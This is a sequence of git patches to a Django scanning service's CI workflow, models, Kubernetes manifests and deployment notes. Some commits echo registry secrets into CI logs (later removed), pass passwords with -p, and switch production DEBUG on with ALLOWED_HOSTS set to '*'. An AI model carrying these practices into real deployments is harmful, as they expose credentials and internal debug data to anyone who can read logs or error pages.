-      run: docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)
+      run: docker image push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)
 
     # Update deployment files to reflect new build.
     - name: Update app deployment file

From 933052a7876bb865c19ca61a2b6c7d1d2c54f452 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 17:48:49 -0500
Subject: [PATCH 0022/1099] testing with dockerhub

---
 .github/workflows/workflow.yml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index 9adb8170..8647ad46 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -41,8 +41,8 @@ jobs:
       run: docker build -t ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7) .
 
     - name: Log in to DigitalOcean Container Registry with short-lived credentials
-      run: doctl registry login --expiry-seconds 1200
-      # run: docker login -u ${{ secrets.DOCKER_SECRET }} -p ${{ secrets.DOCKER_SECRET }} registry.digitalocean.com 
+      # run: doctl registry login --expiry-seconds 1200
+      run: docker login -u ${{ secrets.DOCKER_UESR }} --password-stdin ${{ secrets.DOCKER_PASS }}
 
     - name: Push image to DigitalOcean Container Registry
       run: docker image push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)

From 0464a0378683d6d18dc2b0486cf3fbc7255b2369 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 18:02:30 -0500
Subject: [PATCH 0023/1099] testing

---
 .github/workflows/workflow.yml | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index 8647ad46..6fa4da68 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -27,7 +27,7 @@ jobs:
     steps:
 
     # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it.
-    - name: Checkout master
+    - name: Checkout main
       uses: actions/checkout@main
 
     # Install doctl.
@@ -40,6 +40,10 @@ jobs:
     - name: Build container image
       run: docker build -t ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7) .
 
+    - name: Print creds
+      # run: doctl registry login --expiry-seconds 1200
+      run: echo ${{ secrets.DOCKER_UESR }} ${{ secrets.DOCKER_PASS }}
+
     - name: Log in to DigitalOcean Container Registry with short-lived credentials
       # run: doctl registry login --expiry-seconds 1200
       run: docker login -u ${{ secrets.DOCKER_UESR }} --password-stdin ${{ secrets.DOCKER_PASS }}

From 9aa2b68edc1ce75d54d39f65270fed88f2bed54b Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 18:03:52 -0500
Subject: [PATCH 0024/1099] testing

---
 .github/workflows/workflow.yml | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index 6fa4da68..530a0532 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -35,14 +35,14 @@ jobs:
       uses: digitalocean/action-doctl@v2
       with:
         token: ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN }}
-    
-    # Build a Docker image of your application in your registry and tag the image with the $GITHUB_SHA.
-    - name: Build container image
-      run: docker build -t ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7) .
 
     - name: Print creds
       # run: doctl registry login --expiry-seconds 1200
       run: echo ${{ secrets.DOCKER_UESR }} ${{ secrets.DOCKER_PASS }}
+    
+    # Build a Docker image of your application in your registry and tag the image with the $GITHUB_SHA.
+    - name: Build container image
+      run: docker build -t ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7) .
 
     - name: Log in to DigitalOcean Container Registry with short-lived credentials
       # run: doctl registry login --expiry-seconds 1200

From 8dc69b421f3ed8357a00c6b7a3aa5eb5e541091a Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 18:05:23 -0500
Subject: [PATCH 0025/1099] new method

---
 .github/workflows/workflow.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index 530a0532..40d3f21c 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -46,7 +46,7 @@ jobs:
 
     - name: Log in to DigitalOcean Container Registry with short-lived credentials
       # run: doctl registry login --expiry-seconds 1200
-      run: docker login -u ${{ secrets.DOCKER_UESR }} --password-stdin ${{ secrets.DOCKER_PASS }}
+      run: docker login -u ${{ secrets.DOCKER_UESR }} -p ${{ secrets.DOCKER_PASS }}
 
     - name: Push image to DigitalOcean Container Registry
       run: docker image push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)

From aa68d21bedf00ea58743969ea39409f67d32d626 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 18:06:13 -0500
Subject: [PATCH 0026/1099] removed echo

---
 .github/workflows/workflow.yml | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index 40d3f21c..ea3a5b11 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -35,10 +35,6 @@ jobs:
       uses: digitalocean/action-doctl@v2
       with:
         token: ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN }}
-
-    - name: Print creds
-      # run: doctl registry login --expiry-seconds 1200
-      run: echo ${{ secrets.DOCKER_UESR }} ${{ secrets.DOCKER_PASS }}
     
     # Build a Docker image of your application in your registry and tag the image with the $GITHUB_SHA.
     - name: Build container image

From 689f5e484dbfd41543c03eda4836dbd1324a416d Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 18:20:03 -0500
Subject: [PATCH 0027/1099] fixed typeo

---
 .github/workflows/workflow.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index ea3a5b11..fe5e3027 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -42,7 +42,7 @@ jobs:
 
     - name: Log in to DigitalOcean Container Registry with short-lived credentials
       # run: doctl registry login --expiry-seconds 1200
-      run: docker login -u ${{ secrets.DOCKER_UESR }} -p ${{ secrets.DOCKER_PASS }}
+      run: docker login -u ${{ secrets.DOCKER_USER }} --password-stdin ${{ secrets.DOCKER_PASS }}
 
     - name: Push image to DigitalOcean Container Registry
       run: docker image push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)

From 05360629781fa1697b670b35db4566d9ff4df88e Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 18:37:22 -0500
Subject: [PATCH 0028/1099] testing with -p flag

---
 .github/workflows/workflow.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index fe5e3027..47708894 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -42,7 +42,7 @@ jobs:
 
     - name: Log in to DigitalOcean Container Registry with short-lived credentials
       # run: doctl registry login --expiry-seconds 1200
-      run: docker login -u ${{ secrets.DOCKER_USER }} --password-stdin ${{ secrets.DOCKER_PASS }}
+      run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASS }}
 
     - name: Push image to DigitalOcean Container Registry
       run: docker image push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)

From dc7775b4406ed6c30e2e840f7aa5f733073aa2a7 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 19:13:56 -0500
Subject: [PATCH 0029/1099] fixed file naming

---
 .github/workflows/workflow.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index 47708894..9c6553e3 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -49,7 +49,7 @@ jobs:
 
     # Update deployment files to reflect new build.
     - name: Update app deployment file
-      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/scanerr-server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/app-deployment.yml
+      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/scanerr-server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml
     
     - name: Update celery deployment file
       run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/scanerr-server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yml

From 357de602e14dc222337e7b310232c1799f6f58ca Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 19:17:49 -0500
Subject: [PATCH 0030/1099] fixed other extention naming

---
 .github/workflows/workflow.yml | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index 9c6553e3..040d46dd 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -52,16 +52,16 @@ jobs:
       run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/scanerr-server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml
     
     - name: Update celery deployment file
-      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/scanerr-server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yml
+      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/scanerr-server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml
 
     - name: Save DigitalOcean kubeconfig with short-lived credentials
       run: doctl kubernetes cluster kubeconfig save --expiry-seconds 600 ${{ secrets.CLUSTER_NAME }}
     
     # Re-deploy app and Celery
     - name: Deploy app
-      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/app-deployment.yml
+      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml
     - name: Deploy celery 
-      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yml
+      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml
 
     - name: Verify app
       run: kubectl rollout status deployment/app-deployment

From 3825584056b475d1ae9b551a29ca1a5f8fb4765e Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 22 Jul 2023 08:55:53 -0500
Subject: [PATCH 0031/1099] added crawl tracking

---
 app/api/models.py             |  2 ++
 app/api/tasks.py              | 15 +++++++++++++--
 app/api/v1/ops/serializers.py |  2 +-
 app/api/v1/ops/services.py    |  4 ++++
 4 files changed, 20 insertions(+), 3 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index 9ef6882d..9fe19340 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -314,6 +314,8 @@ class Site(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
+    time_crawl_started = models.DateTimeField(serialize=True, null=True, blank=True)
+    time_crawl_completed =  models.DateTimeField(serialize=True, null=True, blank=True)
     user = models.ForeignKey(User, on_delete=models.SET_NULL, serialize=True, null=True, blank=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     info = models.JSONField(serialize=True, null=True, blank=True, default=get_small_info_default)
diff --git a/app/api/tasks.py b/app/api/tasks.py
index ee5cccad..68827ee3 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -13,6 +13,7 @@
 )
 from .models import *
 from django.contrib.auth.models import User
+from django.utils import timezone
 from .utils.driver_p import driver_test
 from .v1.auth.alerts import send_invite_link, send_remove_alert
 from asgiref.sync import async_to_sync
@@ -42,6 +43,9 @@ def create_site_bg(site_id=None, scan_id=None, configs=None, *args, **kwargs):
 @shared_task
 def create_site_and_pages_bg(site_id=None, configs=None, *args, **kwargs):
     site = Site.objects.get(id=site_id)
+    site.time_crawl_started = timezone.now()
+    site.time_crawl_completed = None
+    site.save()
     # crawl site 
     pages = Crawler(url=site.site_url, max_urls=site.account.max_pages).get_links()
     for url in pages:
@@ -67,7 +71,9 @@ def create_site_and_pages_bg(site_id=None, configs=None, *args, **kwargs):
         page.info["latest_scan"]["id"] = str(scan.id)
         page.info["latest_scan"]["time_created"] = str(scan.time_created)
         page.save()
-
+    # updating site status
+    site.time_crawl_completed = timezone.now()
+    site.save()
 
     logger.info('Added site and all pages')
 
@@ -77,6 +83,9 @@ def create_site_and_pages_bg(site_id=None, configs=None, *args, **kwargs):
 @shared_task
 def crawl_site_bg(site_id=None, configs=None, *args, **kwargs):
     site = Site.objects.get(id=site_id)
+    site.time_crawl_started = timezone.now()
+    site.time_crawl_completed = None
+    site.save()
     old_pages = Page.objects.filter(site=site)
     old_urls = []
     for p in old_pages:
@@ -114,7 +123,9 @@ def crawl_site_bg(site_id=None, configs=None, *args, **kwargs):
         page.info["latest_scan"]["id"] = str(scan.id)
         page.info["latest_scan"]["time_created"] = str(scan.time_created)
         page.save()
-
+    # updating site status
+    site.time_crawl_completed = timezone.now()
+    site.save()
 
     logger.info('crawled site and added pages')
 
diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py
index 22e62084..6dfc5016 100644
--- a/app/api/v1/ops/serializers.py
+++ b/app/api/v1/ops/serializers.py
@@ -42,7 +42,7 @@ class SiteSerializer(serializers.HyperlinkedModelSerializer):
     class Meta:
         model = Site
         fields = ['id', 'user', 'site_url', 'time_created', 'info',
-        'tags', 'account',
+        'tags', 'account', 'time_crawl_started', 'time_crawl_completed',
         ]
 
 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 2f194862..b4b09345 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -216,6 +216,10 @@ def crawl_site(request, id):
             'disable_animations': False
         }
 
+    # update site info
+    site.time_crawl_completed = None
+    site.save()
+
     crawl_site_bg.delay(site_id=site.id, configs=configs)
 
     serializer_context = {'request': request,}

From 24e180652c3e9602cbc107fb64f5da2bdb92d657 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 22 Jul 2023 11:39:30 -0500
Subject: [PATCH 0032/1099] debug mode

---
 app/scanerr/settings.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index 38036859..1d4b50c8 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -21,7 +21,7 @@
 SECRET_KEY = os.environ.get('SECRET_KEY')
 
 # SECURITY WARNING: don't run with debug turned on in production!
-DEBUG = False
+DEBUG = True
 
 ALLOWED_HOSTS = ['*']
 CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT')

From 95225d93a8496088d33bbe84dd0f2765df265304 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 22 Jul 2023 12:20:08 -0500
Subject: [PATCH 0033/1099] adding volume

---
 app/api/models.py            |  4 ++--
 k8s/prod/app-deployment.yaml | 22 ++++++++++++++++++++++
 2 files changed, 24 insertions(+), 2 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index 9fe19340..525593b7 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -314,8 +314,8 @@ class Site(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
-    time_crawl_started = models.DateTimeField(serialize=True, null=True, blank=True)
-    time_crawl_completed =  models.DateTimeField(serialize=True, null=True, blank=True)
+    # time_crawl_started = models.DateTimeField(serialize=True, null=True, blank=True)
+    # time_crawl_completed =  models.DateTimeField(serialize=True, null=True, blank=True)
     user = models.ForeignKey(User, on_delete=models.SET_NULL, serialize=True, null=True, blank=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     info = models.JSONField(serialize=True, null=True, blank=True, default=get_small_info_default)
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 1a680841..ffc81e0d 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -43,6 +43,13 @@ spec:
             requests:
               cpu: "500m"
               memory: "500Mi"
+          volumeMounts:
+           - mountPath: "/app/api/migrations"
+             name: my-app-volume
+      volumes:
+        - name: my-app-volume
+          persistentVolumeClaim:
+           claimName: app-volume
 
 ---
 
@@ -57,3 +64,18 @@ spec:
   - name: http
     port: 80
     targetPort: 8000
+
+
+---
+
+apiVersion: v1
+kind: PersistentVolumeClaim
+metadata:
+  name: app-volume
+spec:
+  accessModes:
+  - ReadWriteOnce
+  resources:
+    requests:
+      storage: 5Gi
+  storageClassName: do-block-storage
\ No newline at end of file

From 1f071d431dd635f61a5079c9566e5acba99f9745 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 22 Jul 2023 12:20:21 -0500
Subject: [PATCH 0034/1099] reorganized

---
 README.md           | 136 ++------------------------------------------
 notes/Deployment.md | 127 +++++++++++++++++++++++++++++++++++++++++
 2 files changed, 131 insertions(+), 132 deletions(-)
 create mode 100644 notes/Deployment.md

diff --git a/README.md b/README.md
index d7c28503..9b015f17 100644
--- a/README.md
+++ b/README.md
@@ -1,6 +1,6 @@
 # Scanerr Server (API repo)
 
-[![Build Status](http://img.shields.io/travis/badges/badgerbadgerbadger.svg?style=flat-square)](https://api.scanerr.io)
+[![Build Status](http://img.shields.io/travis/badges/badgerbadgerbadger.svg?style=flat-square)](https://api.scanerr.io/api/v1/auth)
 
 This is the server repo for the Scanerr API, an error detection service designed to run front-end tests on web-apps and sites. This service is fully dockertized for local dev/testing as well as deployed environments. 
 
@@ -12,135 +12,7 @@ Copyright © Scanerr 2023
 ---
 &nbsp;
 
-## Table of Contents
+## Guides
+- [Deployment (single Server)](notes/Deployment.md)
+- [k8s Deployment](k8s/kubernetes-notes.md)
 &nbsp;
-
-#### Env's and deployment
-- [Scanerr Server (API repo)](#scanerr-server-api-repo)
-  - [Table of Contents](#table-of-contents)
-      - [Env's and deployment](#envs-and-deployment)
-  - [Environment](#environment)
-  - [Local](#local)
-  - [Remote](#remote)
-  - [Scripts](#scripts)
-
-
-&nbsp;
- 
----
-&nbsp;
-
-## Environment
-
-Prior to running app, configure all env's located in the /env directory. There are example .env files for both production and local environments marked `.env.dev.example` and `.env.prod.example`. Prior to running the app, be sure to update with your unique keys, domains, passwords, etc, and remove the `.example` extention from the files.  **Never store actual .env's in a repo.** Things to change:
-- high level django configs
-- admin credentials 
-- email credentials
-- database configs
-- google API keys
-- stripe keys
-- OAuth keys
-- twilio credentials
-- slack credentials
-- s3 remote storage credentials
-
-&nbsp;
- 
----
-&nbsp;
-
-## Local
-Install and run locally on your machine in a dev environment.
-
-> Ensure you have Docker and Docker-desktop installed and running on your machine prior to this step.
-
-```shell
-$ pip3 install virtualenv
-$ virtualenv appenv
-$ source appenv/bin/activate
-$ mkdir app
-$ git clone https://github.com/Scanerr-io/server.git
-```
-*Spin-up the application*
-```shell
-$ docker compose up --build
-```
-*Spin-down the application*
-```shell
-$ docker compose up down
-```
-
-&nbsp;
- 
----
-&nbsp;
-
-## Remote
-Install and deploy remotely in a production environment.
-
-> Ensure you have Docker installed and running on your server prior to this step.
-
-*Server configurations for Ubuntu 20.04*
-``` shell
-$ ssh root@your_server_ip
-# apt update
-# apt upgrade
-# adduser {user}
-# usermod -aG sudo {user}
-# ufw allow OpenSSH
-# ufw enable
-# su {user}
-```
-
-*Add user to docker group*
-```shell
-$ sudo usermod -aG docker {user}
-$ newgrp docker 
-```
-
-*Generate SSH keys for GitHub*
-``` shell
-$ ssh-keygen -t ed25519 -C "your_github_email@example.com"
-```
-- press `Enter` 3 times
-```shell
-$ eval "$(ssh-agent -s)"
-$ ssh-add ~/.ssh/id_ed25519
-$ cat ~/.ssh/id_ed25519.pub
-```
-- copy key to clipboard and paste in GutHub
-
-
-*Create a dir to clone the app into*
-``` shell
-$ cd ~
-$ mkdir app
-$ cd app
-$ git clone https://github.com/Scanerr-io/server.git
-```
-*Spin-up the application*
-```shell
-$ docker compose -f docker-compose.prod.yml up -d --build
-```
-*Spin-down the application*
-```shell
-$ docker compose -f docker-compose.prod.yml down
-```
-*Spin-down the application and removes the volumes*
-```shell
-$ docker-compose -f docker-compose.prod.yml down -v
-```
-
-
-&nbsp;
-
----
-
-&nbsp;
-
-## Scripts
-
-*ssh into container*
-``` shell
-$ docker exec -it <container:id> /bin/sh
-```
diff --git a/notes/Deployment.md b/notes/Deployment.md
new file mode 100644
index 00000000..6c160cc2
--- /dev/null
+++ b/notes/Deployment.md
@@ -0,0 +1,127 @@
+# Scanerr Deployment (single Server)
+- [Scanerr Deployment (single Server)](#scanerr-deployment-single-server)
+  - [Environment](#environment)
+  - [Local](#local)
+  - [Remote](#remote)
+  - [Scripts](#scripts)
+
+
+&nbsp;
+ 
+---
+&nbsp;
+
+## Environment
+
+Prior to running app, configure all env's located in the /env directory. There are example .env files for both production and local environments marked `.env.dev.example` and `.env.prod.example`. Prior to running the app, be sure to update with your unique keys, domains, passwords, etc, and remove the `.example` extention from the files.  **Never store actual .env's in a repo.** Things to change:
+- high level django configs
+- admin credentials 
+- email credentials
+- database configs
+- google API keys
+- stripe keys
+- OAuth keys
+- twilio credentials
+- slack credentials
+- s3 remote storage credentials
+
+&nbsp;
+ 
+---
+&nbsp;
+
+## Local
+Install and run locally on your machine in a dev environment.
+
+> Ensure you have Docker and Docker-desktop installed and running on your machine prior to this step.
+
+```shell
+$ pip3 install virtualenv
+$ virtualenv appenv
+$ source appenv/bin/activate
+$ mkdir app
+$ git clone https://github.com/Scanerr-io/server.git
+```
+*Spin-up the application*
+```shell
+$ docker compose up --build
+```
+*Spin-down the application*
+```shell
+$ docker compose up down
+```
+
+&nbsp;
+ 
+---
+&nbsp;
+
+## Remote
+Install and deploy remotely in a production environment.
+
+> Ensure you have Docker installed and running on your server prior to this step.
+
+*Server configurations for Ubuntu 20.04*
+``` shell
+$ ssh root@your_server_ip
+# apt update
+# apt upgrade
+# adduser {user}
+# usermod -aG sudo {user}
+# ufw allow OpenSSH
+# ufw enable
+# su {user}
+```
+
+*Add user to docker group*
+```shell
+$ sudo usermod -aG docker {user}
+$ newgrp docker 
+```
+
+*Generate SSH keys for GitHub*
+``` shell
+$ ssh-keygen -t ed25519 -C "your_github_email@example.com"
+```
+- press `Enter` 3 times
+```shell
+$ eval "$(ssh-agent -s)"
+$ ssh-add ~/.ssh/id_ed25519
+$ cat ~/.ssh/id_ed25519.pub
+```
+- copy key to clipboard and paste in GutHub
+
+
+*Create a dir to clone the app into*
+``` shell
+$ cd ~
+$ mkdir app
+$ cd app
+$ git clone https://github.com/Scanerr-io/server.git
+```
+*Spin-up the application*
+```shell
+$ docker compose -f docker-compose.prod.yml up -d --build
+```
+*Spin-down the application*
+```shell
+$ docker compose -f docker-compose.prod.yml down
+```
+*Spin-down the application and removes the volumes*
+```shell
+$ docker-compose -f docker-compose.prod.yml down -v
+```
+
+
+&nbsp;
+
+---
+
+&nbsp;
+
+## Scripts
+
+*ssh into container*
+``` shell
+$ docker exec -it <container:id> /bin/sh
+```

From d3ddc8d6a1ff7879540ee40a60d24a05184783e9 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 22 Jul 2023 12:33:04 -0500
Subject: [PATCH 0035/1099] added back crawl tracking

---
 app/api/models.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index 525593b7..9fe19340 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -314,8 +314,8 @@ class Site(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
-    # time_crawl_started = models.DateTimeField(serialize=True, null=True, blank=True)
-    # time_crawl_completed =  models.DateTimeField(serialize=True, null=True, blank=True)
+    time_crawl_started = models.DateTimeField(serialize=True, null=True, blank=True)
+    time_crawl_completed =  models.DateTimeField(serialize=True, null=True, blank=True)
     user = models.ForeignKey(User, on_delete=models.SET_NULL, serialize=True, null=True, blank=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     info = models.JSONField(serialize=True, null=True, blank=True, default=get_small_info_default)

From 541830bcca1170363d885e25aa0a15b79f5b1a60 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 22 Jul 2023 12:50:17 -0500
Subject: [PATCH 0036/1099] testing

---
 k8s/prod/app-deployment.yaml | 15 ---------------
 k8s/prod/app-volume.yaml     | 13 +++++++++++++
 2 files changed, 13 insertions(+), 15 deletions(-)
 create mode 100644 k8s/prod/app-volume.yaml

diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index ffc81e0d..22974ad1 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -64,18 +64,3 @@ spec:
   - name: http
     port: 80
     targetPort: 8000
-
-
----
-
-apiVersion: v1
-kind: PersistentVolumeClaim
-metadata:
-  name: app-volume
-spec:
-  accessModes:
-  - ReadWriteOnce
-  resources:
-    requests:
-      storage: 5Gi
-  storageClassName: do-block-storage
\ No newline at end of file
diff --git a/k8s/prod/app-volume.yaml b/k8s/prod/app-volume.yaml
new file mode 100644
index 00000000..1bc078f7
--- /dev/null
+++ b/k8s/prod/app-volume.yaml
@@ -0,0 +1,13 @@
+apiVersion: v1
+kind: PersistentVolumeClaim
+metadata:
+  name: app-volume
+spec:
+  accessModes:
+  - ReadWriteOnce
+  resources:
+    requests:
+      storage: 5Gi
+  storageClassName: do-block-storage
+
+---
\ No newline at end of file

From c72cf577349ccc7d7227fe10c57bb656e0877179 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 22 Jul 2023 12:50:28 -0500
Subject: [PATCH 0037/1099] added volume claim

---
 k8s/kubernetes-notes.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md
index 20554be7..e3d8e705 100644
--- a/k8s/kubernetes-notes.md
+++ b/k8s/kubernetes-notes.md
@@ -108,6 +108,7 @@ kubectl port-forward service/app-service 8000:8000
 ### 4. Spin up Scanerr deployments and services
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-configs.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/redis-deployment.yaml`
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-volume.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-deployment.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-deployment.yaml`
 

From 3d10e91e9b613dbb1f0dc34033d746a0cd0f224d Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 22 Jul 2023 15:04:50 -0500
Subject: [PATCH 0038/1099] volume claims

---
 k8s/prod/app-deployment.yaml  | 14 +++++++-------
 k8s/prod/app-volume.yaml      | 16 +++++++---------
 k8s/prod/app-volumeclaim.yaml | 11 +++++++++++
 3 files changed, 25 insertions(+), 16 deletions(-)
 create mode 100644 k8s/prod/app-volumeclaim.yaml

diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 22974ad1..5ef62e8b 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -43,13 +43,13 @@ spec:
             requests:
               cpu: "500m"
               memory: "500Mi"
-          volumeMounts:
-           - mountPath: "/app/api/migrations"
-             name: my-app-volume
-      volumes:
-        - name: my-app-volume
-          persistentVolumeClaim:
-           claimName: app-volume
+      #     volumeMounts:
+      #      - mountPath: "/app/api/migrations"
+      #        name: my-app-volume
+      # volumes:
+      #   - name: my-app-volume
+      #     persistentVolumeClaim:
+      #      claimName: app-pvc
 
 ---
 
diff --git a/k8s/prod/app-volume.yaml b/k8s/prod/app-volume.yaml
index 1bc078f7..ff0dd44d 100644
--- a/k8s/prod/app-volume.yaml
+++ b/k8s/prod/app-volume.yaml
@@ -1,13 +1,11 @@
 apiVersion: v1
-kind: PersistentVolumeClaim
+kind: PersistentVolume
 metadata:
-  name: app-volume
+  name: app-pv
 spec:
